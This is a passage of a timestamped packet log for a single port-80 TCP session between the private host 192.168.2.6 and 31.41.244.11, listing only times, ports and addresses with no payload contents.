Dec 18, 2024 11:47:15.431592941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.432615995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.432661057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.432723999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.432776928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.433624983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.433684111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.433695078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.433743954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.434743881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.434793949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.434873104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.434925079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.435740948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.435816050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.435832024 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.435900927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.436995983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.437005997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.437046051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.566719055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.566775084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.566821098 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.566859961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.567311049 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.567358017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.567420006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.567452908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.568516016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.568562031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.568623066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.568662882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.569622040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.569668055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.571053028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.571110010 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.571192026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.571234941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.571688890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.571736097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.571857929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.571902037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.572880030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.572899103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.572935104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.572962046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.574009895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.574060917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.574110031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.574162006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.575202942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.575251102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.575285912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.575334072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.576370955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.576406002 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.576442003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.576493979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.577526093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.577567101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.577586889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.577626944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.578696012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.578742981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.578799009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.578840971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.579930067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.579988003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.579993963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.580027103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.581370115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.581391096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.581414938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.581439018 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.582231045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.582243919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.582278013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.582289934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.583384037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.583440065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.583498001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.583539009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.584553957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.584595919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.584635019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.584682941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.585732937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.585783958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.585803032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.585844994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.586893082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.586931944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.586971045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.587027073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.588051081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.588095903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.588156939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.588193893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.589219093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.589263916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.589327097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.589376926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.590396881 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.590436935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.590516090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.590563059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.591598034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.591639996 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.591739893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.591792107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.592732906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.592782974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.592839003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.592885971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.593949080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.593991041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.594026089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.594068050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.595088005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.595135927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.595185995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.595233917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.596407890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.596451044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.596509933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.596553087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.597631931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.597681046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.597806931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.597845078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.598614931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.598660946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.598752975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.598802090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.599766016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.599809885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.599849939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.599884987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.600961924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.600974083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.601003885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.601016045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.602171898 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.602221966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.602258921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.602299929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.603285074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.603358984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.603396893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.603441000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.604475975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.604523897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.604530096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.604573011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.605691910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.605742931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.605859995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.605901957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.606796026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.606833935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.606868982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.606913090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.608067989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.608120918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.608180046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.608223915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.609164953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.609177113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.609204054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.609217882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.610539913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.610582113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.610605955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.610649109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.611689091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.611737013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.611850023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.611954927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.612848043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.612869978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.612890959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.612903118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.613817930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.613861084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.613953114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.613991976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.615012884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.615058899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.615062952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.615104914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.616156101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.616209030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.616290092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.616333008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.617312908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.617358923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.617366076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.617408037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.618520975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.618567944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.618622065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.618669033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.619667053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.619716883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.619719028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.619764090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.620893002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.620984077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.620986938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.621022940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.622018099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.622061968 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.622153044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.622195005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.623163939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.623212099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.623275995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.623331070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.624377966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.624452114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.624460936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.624507904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.625538111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.625580072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.625642061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.625696898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.626704931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.626780987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.626811981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.626822948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.627842903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.627888918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.627953053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.628040075 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.757692099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.757715940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.757810116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.757989883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.758033037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.758080006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.758120060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.759175062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.759224892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.759275913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.759320974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.760481119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.760529041 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.760613918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.760658979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.762094021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.762155056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.762187958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.762234926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.762774944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.762840033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.762871027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.762916088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.763971090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.764018059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.764185905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.764225960 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.765276909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.765290976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.765324116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.765369892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.766199112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.766253948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.766305923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.766352892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.767678976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.767693043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.767730951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.768619061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.768632889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.768672943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.769807100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.769853115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.769885063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.769927979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.770919085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.770975113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.771043062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.771089077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.772085905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.772097111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.772142887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.773325920 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.773375988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.773567915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.773607016 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.774416924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.774466038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.774493933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.774528027 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.775644064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.775656939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.775690079 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.775708914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.776736975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.776779890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.776865959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.776906967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.777892113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.777905941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.777935028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.777945995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.779114962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.779130936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.779165030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.779175997 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.780257940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.780316114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.780353069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.780392885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.781483889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.781537056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.781542063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.781570911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.782645941 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.782700062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.782706976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.782769918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.783782959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.783834934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.783881903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.783920050 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.785032034 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.785074949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.785135984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.785180092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.786127090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.786149979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.786175966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.786201954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.787271023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.787354946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.787386894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.787446022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:15.788470030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:15.788516045 CET	49806	80	192.168.2.6	31.41.244.11
